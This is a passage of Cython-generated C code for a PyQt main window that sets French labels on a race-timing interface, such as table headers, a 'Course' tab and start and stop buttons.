__pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1060, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1060, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1061 * item = self.R_RaceLive.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive.horizontalHeaderItem(6) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1061, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1061, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__658, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1061, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1062 * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) # <<<<<<<<<<<<<< * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) * self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1062, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__659, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1062, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1062, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1062, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1062, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1062, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1062, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1063 * item = self.R_RaceLive.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) # <<<<<<<<<<<<<< * self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define_2.setItemText(1, _translate("MainWindow", "Dure")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setItemText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_2}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_2}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__660, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_2 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_8, __pyx_t_3); __pyx_t_4 = 0; __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1064 * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) * self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) # <<<<<<<<<<<<<< * self.B_Define_2.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1064, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setItemText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1064, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__661, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1064, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_int_0, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1064, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_int_0, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1064, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1064, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1064, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1065 * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) * self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define_2.setItemText(1, _translate("MainWindow", "Dure")) # <<<<<<<<<<<<<< * self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Stop_2.setText(_translate("MainWindow", "STOP")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1065, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setItemText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1065, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__662, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1065, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_int_1, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1065, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_int_1, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1065, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1065, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1065, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1066 * self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define_2.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) # <<<<<<<<<<<<<< * self.B_Stop_2.setText(_translate("MainWindow", "STOP")) * self.B_Start_2.setText(_translate("MainWindow", "Dpart")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1066, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setItemText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1066, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__663, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1066, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_int_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1066, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_int_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1066, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1066, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_8, __pyx_int_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_8, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1066, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1067 * self.B_Define_2.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Stop_2.setText(_translate("MainWindow", "STOP")) # <<<<<<<<<<<<<< * self.B_Start_2.setText(_translate("MainWindow", "Dpart")) * self.R_RaceLive_2.setSortingEnabled(False) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1067, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1067, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__664, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1067, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1067, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1067, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1067, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1067, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1067, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1068 * self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Stop_2.setText(_translate("MainWindow", "STOP")) * self.B_Start_2.setText(_translate("MainWindow", "Dpart")) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setSortingEnabled(False) * item = self.R_RaceLive_2.horizontalHeaderItem(2) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1068, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1068, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__665, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1068, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); 